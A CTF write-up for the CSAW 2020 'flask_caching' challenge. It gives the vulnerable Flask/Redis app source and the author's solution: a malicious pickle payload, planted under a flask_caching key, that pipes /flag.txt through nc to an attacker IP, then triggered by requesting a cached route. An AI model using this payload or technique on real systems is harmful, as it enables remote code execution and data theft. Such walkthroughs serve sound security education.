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CSAW CTF Qualification Round 2020: flask_caching


CSAW CTF Qualification Round 2020: flask_caching

flask_caching

300 points

cache all the things (this is python3)

http://web.chal.csaw.io:5000

app.py

#!/usr/bin/env python3

from flask import Flask
from flask import request, redirect
from flask_caching import Cache
from redis import Redis
import jinja2
import os

app = Flask(__name__)
app.config['CACHE_REDIS_HOST'] = 'localhost'
app.config['DEBUG'] = False

cache = Cache(app, config={'CACHE_TYPE': 'redis'})
redis = Redis('localhost')
jinja_env = jinja2.Environment(autoescape=['html', 'xml'])


@app.route('/', methods=['GET', 'POST'])
def notes_post():
    if request.method == 'GET':
        return '''
        <h4>Post a note</h4>
        <form method=POST enctype=multipart/form-data>
        <input name=title placeholder=title>
        <input type=file name=content placeholder=content>
        <input type=submit>
        </form>
        '''

    print(request.form, flush=True)
    print(request.files, flush=True)
    title = request.form.get('title', default=None)
    content = request.files.get('content', default=None)

    if title is None or content is None:
        return 'Missing fields', 400

    content = content.stream.read()

    if len(title) > 100 or len(content) > 256:
        return 'Too long', 400

    redis.setex(name=title, value=content, time=3)  # Note will only live for max 30 seconds

    return 'Thanks!'


# This caching stuff is cool! Lets make a bunch of cached functions.

@cache.cached(timeout=3)
def _test0():
    return 'test'
@app.route('/test0')
def test0():
    _test0()
    return 'test'
@cache.cached(timeout=3)
def _test1():
    return 'test'
@app.route('/test1')
def test1():
    _test1()
    return 'test'
@cache.cached(timeout=3)
def _test2():
    return 'test'
@app.route('/test2')
def test2():
    _test2()
    return 'test'
@cache.cached(timeout=3)
def _test3():
    return 'test'
@app.route('/test3')
def test3():
    _test3()
    return 'test'
@cache.cached(timeout=3)
def _test4():
    return 'test'
@app.route('/test4')
def test4():
    _test4()
    return 'test'
@cache.cached(timeout=3)
def _test5():
    return 'test'
@app.route('/test5')
def test5():
    _test5()
    return 'test'
@cache.cached(timeout=3)
def _test6():
    return 'test'
@app.route('/test6')
def test6():
    _test6()
    return 'test'
@cache.cached(timeout=3)
def _test7():
    return 'test'
@app.route('/test7')
def test7():
    _test7()
    return 'test'
@cache.cached(timeout=3)
def _test8():
    return 'test'
@app.route('/test8')
def test8():
    _test8()
    return 'test'
@cache.cached(timeout=3)
def _test9():
    return 'test'
@app.route('/test9')
def test9():
    _test9()
    return 'test'
@cache.cached(timeout=3)
def _test10():
    return 'test'
@app.route('/test10')
def test10():
    _test10()
    return 'test'
@cache.cached(timeout=3)
def _test11():
    return 'test'
@app.route('/test11')
def test11():
    _test11()
    return 'test'
@cache.cached(timeout=3)
def _test12():
    return 'test'
@app.route('/test12')
def test12():
    _test12()
    return 'test'
@cache.cached(timeout=3)
def _test13():
    return 'test'
@app.route('/test13')
def test13():
    _test13()
    return 'test'
@cache.cached(timeout=3)
def _test14():
    return 'test'
@app.route('/test14')
def test14():
    _test14()
    return 'test'
@cache.cached(timeout=3)
def _test15():
    return 'test'
@app.route('/test15')
def test15():
    _test15()
    return 'test'
@cache.cached(timeout=3)
def _test16():
    return 'test'
@app.route('/test16')
def test16():
    _test16()
    return 'test'
@cache.cached(timeout=3)
def _test17():
    return 'test'
@app.route('/test17')
def test17():
    _test17()
    return 'test'
@cache.cached(timeout=3)
def _test18():
    return 'test'
@app.route('/test18')
def test18():
    _test18()
    return 'test'
@cache.cached(timeout=3)
def _test19():
    return 'test'
@app.route('/test19')
def test19():
    _test19()
    return 'test'
@cache.cached(timeout=3)
def _test20():
    return 'test'
@app.route('/test20')
def test20():
    _test20()
    return 'test'
@cache.cached(timeout=3)
def _test21():
    return 'test'
@app.route('/test21')
def test21():
    _test21()
    return 'test'
@cache.cached(timeout=3)
def _test22():
    return 'test'
@app.route('/test22')
def test22():
    _test22()
    return 'test'
@cache.cached(timeout=3)
def _test23():
    return 'test'
@app.route('/test23')
def test23():
    _test23()
    return 'test'
@cache.cached(timeout=3)
def _test24():
    return 'test'
@app.route('/test24')
def test24():
    _test24()
    return 'test'
@cache.cached(timeout=3)
def _test25():
    return 'test'
@app.route('/test25')
def test25():
    _test25()
    return 'test'
@cache.cached(timeout=3)
def _test26():
    return 'test'
@app.route('/test26')
def test26():
    _test26()
    return 'test'
@cache.cached(timeout=3)
def _test27():
    return 'test'
@app.route('/test27')
def test27():
    _test27()
    return 'test'
@cache.cached(timeout=3)
def _test28():
    return 'test'
@app.route('/test28')
def test28():
    _test28()
    return 'test'
@cache.cached(timeout=3)
def _test29():
    return 'test'
@app.route('/test29')
def test29():
    _test29()
    return 'test'
@cache.cached(timeout=3)
def _test30():
    return 'test'
@app.route('/test30')
def test30():
    _test30()
    return 'test'


if __name__ == "__main__":
    app.run('0.0.0.0', 5000)

Solution

Idea behind the solution is to overwrite one of the cached test functions with my own function, which will execute malicious code.

I've created python program to prepare payload file:

import pickle

class Malicious:
    def __reduce__(self):
        return (os.system, ('cat /flag.txt | nc MYIPADDRESS 4444',))

malicious_function = Malicious()
payload = pickle.dumps(malicious_function)
f = open('payload', 'wb')
f.write(b'!' + payload)
f.close()

Above code after execution left me a nice payload file that can be uploaded to the application

I didn't want to read all the flask_caching code, so I've started redis in docker (sudo docker run -p 6379:6379 -d --name redis redis) and the app to get the pattern of cachekey ;-) (it was achieved with redis-cli monitor)

Ok, at this point we got payload, we know the pattern of cachekey, one more thing is needed - nc -lvp 4444 running on my computer.

Let's try to submit the payload...

...and execute it by requesting http://web.chal.csaw.io:5000/test21

Surprisely, flag popped up on my netcat ;-)